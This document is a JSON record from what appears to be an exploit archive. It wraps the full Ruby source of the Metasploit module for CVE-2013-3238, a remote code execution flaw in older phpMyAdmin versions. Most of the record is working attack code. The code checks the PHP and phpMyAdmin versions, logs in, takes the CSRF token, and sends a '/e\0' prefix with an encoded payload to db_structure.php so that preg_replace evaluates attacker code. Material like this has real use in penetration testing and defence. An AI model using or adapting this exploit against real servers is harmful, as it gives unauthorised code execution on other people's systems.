{"exploit":{"id":"MSF-multi--http--phpmyadmin_preg_replace","name":"phpMyAdmin Authenticated Remote Code Execution via preg_replace()","description":"This module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php This affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3. PHP versions > 5.4.6 are not vulnerable.","cves":["CVE-2013-3238"],"author":"Janek \"waraxe\" Vind, Ben Campbell","published":"2013-04-25","platform":"PHP","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/9e02ac35d81e745446e23f3b552dce2eea215a8a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb","path":"modules/exploits/multi/http/phpmyadmin_preg_replace.rb","revision":"9e02ac35d81e745446e23f3b552dce2eea215a8a","filename":"phpmyadmin_preg_replace.rb","vulnerabilities":[{"id":"CVE-2013-3238","state":"PUBLISHED","title":null,"titleSource":null,"description":"phpMyAdmin 3.5.x before 3.5.8 and 4.x before 4.0.0-rc3 allows remote authenticated users to execute arbitrary code via a /e\\x00 sequence, which is not properly handled before making a preg_replace function call within the \"Replace table prefix\" feature.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-3238","cvss":{"version":"2.0","baseScore":6,"severity":"medium","vectorString":"AV:N/AC:M/Au:S/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-3238"},"updatedAt":"2024-08-06T16:00:10.156Z","retrievedAt":"2026-11-26T21:33:27.451Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--phpmyadmin_preg_replace.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--phpmyadmin_preg_replace","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--phpmyadmin_preg_replace/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--phpmyadmin_preg_replace/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'phpMyAdmin Authenticated Remote Code Execution via preg_replace()',\n        'Description' => %q{\n          This module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's\n          replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php\n          This affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3.\n          PHP versions > 5.4.6 are not vulnerable.\n        },\n        'Author' => [\n          'Janek \"waraxe\" Vind', # Discovery\n          'Ben Campbell' # Metasploit Module\n        ],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        },\n        'References' => [\n          [ 'CVE', '2013-3238' ],\n          [ 'EDB', '25003'],\n          [ 'OSVDB', '92793'],\n          [ 'URL', 'http://www.waraxe.us/advisory-103.html' ],\n          [ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]\n        ],\n        'Privileged' => false,\n        'Platform' => ['php'],\n        'Arch' => ARCH_PHP,\n        'Payload' => {\n          'BadChars' => \"&\\n=+%\",\n          # Clear out PMA's error handler so it doesn't lose its mind\n          # and cause ENOMEM errors and segfaults in the destructor.\n          'Prepend' => \"function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);\"\n        },\n        'Targets' => [\n          [ 'Automatic', {} ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2013-04-25'\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [ true, \"Base phpMyAdmin directory path\", '/phpmyadmin/']),\n        OptString.new('USERNAME', [ true, \"Username to authenticate with\", 'root']),\n        OptString.new('PASSWORD', [ false, \"Password to authenticate with\", ''])\n      ]\n    )\n  end\n\n  def check\n    begin\n      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })\n    rescue\n      vprint_error(\"Unable to connect to server.\")\n      return CheckCode::Unknown('Failed to connect to the target.')\n    end\n\n    return CheckCode::Unknown('No response received from the target') unless res\n\n    if res.code != 200\n      vprint_error(\"Unable to query /js/messages.php\")\n      return CheckCode::Unknown('Unable to query /js/messages.php to determine version.')\n    end\n\n    php_version = res['X-Powered-By']\n    if php_version\n      vprint_status(\"PHP Version: #{php_version}\")\n      if php_version =~ /PHP\\/(\\d)\\.(\\d)\\.(\\d)/\n        if $1.to_i > 5\n          return CheckCode::Safe(\"PHP version #{php_version} is not vulnerable. The preg_replace /e modifier was deprecated in PHP 5.5 and removed in PHP 7.0.\")\n        else\n          if $1.to_i == 5 and $2.to_i > 4\n            return CheckCode::Safe(\"PHP version #{php_version} is not vulnerable. The preg_replace /e modifier was deprecated in PHP 5.5 and removed in PHP 7.0.\")\n          else\n            if $1.to_i == 5 and $2.to_i == 4 and $3.to_i > 6\n              return CheckCode::Safe(\"PHP version #{php_version} is not vulnerable. The preg_replace /e modifier was deprecated in PHP 5.5 and removed in PHP 7.0.\")\n            end\n          end\n        end\n      end\n    else\n      vprint_status(\"Unknown PHP Version\")\n    end\n\n    if res.body =~ /pmaversion = '(.*)';/\n      print_status(\"phpMyAdmin version: #{$1}\")\n      case $1.downcase\n      when '3.5.8.1', '4.0.0-rc3'\n        return CheckCode::Safe(\"phpMyAdmin version #{$1} is patched.\")\n      when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'\n        return CheckCode::Appears(\"phpMyAdmin version #{$1} is vulnerable.\")\n      else\n        if $1.starts_with? '3.5.'\n          return CheckCode::Appears(\"phpMyAdmin version #{$1} appears vulnerable (3.5.x < 3.5.8.1).\")\n        end\n\n        return CheckCode::Detected(\"phpMyAdmin detected but version #{$1} is not a known vulnerable version.\")\n      end\n    end\n\n    CheckCode::Unknown('Could not determine phpMyAdmin version.')\n  end\n\n  def exploit\n    # Always display target info\n    print_status(check[1])\n\n    uri = target_uri.path\n    print_status(\"Grabbing CSRF token...\")\n    response = send_request_cgi({ 'uri' => uri })\n    if response.nil?\n      fail_with(Failure::NotFound, \"Failed to retrieve webpage.\")\n    end\n\n    if (response.body !~ /\"token\"\\s*value=\"([^\"]*)\"/)\n      fail_with(Failure::NotFound, \"Couldn't find token. Is URI set correctly?\")\n    else\n      print_good(\"Retrieved token\")\n    end\n\n    token = $1\n    post = {\n      'token' => token,\n      'pma_username' => datastore['USERNAME'],\n      'pma_password' => datastore['PASSWORD']\n    }\n\n    print_status(\"Authenticating...\")\n\n    login = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(uri, 'index.php'),\n      'vars_post' => post\n    })\n\n    if login.nil?\n      fail_with(Failure::NotFound, \"Failed to retrieve webpage.\")\n    end\n\n    if login.redirect?\n      token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first\n    else\n      fail_with(Failure::NotFound, \"Couldn't find token. Wrong PMA version?\")\n    end\n\n    cookies = login.get_cookies\n\n    login_check = send_request_cgi({\n      'uri' => normalize_uri(uri, 'index.php'),\n      'vars_get' => { 'token' => token },\n      'cookie' => cookies\n    })\n\n    if login_check.body =~ /Welcome to/\n      fail_with(Failure::NoAccess, \"Authentication failed\")\n    else\n      print_good(\"Authentication successful\")\n    end\n\n    db = rand_text_alpha(3 + rand(3))\n    send_request_cgi({\n      'uri'\t=> normalize_uri(uri, 'db_structure.php'),\n      'method' => 'POST',\n      'cookie' => cookies,\n      'vars_post' => {\n        'query_type' => 'replace_prefix_tbl',\n        'db' => db,\n        'selected[0]' => db,\n        'token' => token,\n        'from_prefix' => \"/e\\0\",\n        'to_prefix' => payload.encoded,\n        'mult_btn' => 'Yes'\n      }\n    }, 1)\n  end\nend\n","sha256":"480c41a2bd4e9ba83d5c80cdab846054e40ba9f87d51a399fbd5105d2ce58fdf","bytes":6300,"fetchedAt":"2026-11-26T21:16:05.892Z","encoding":"utf-8 (display only; download retains original bytes)"}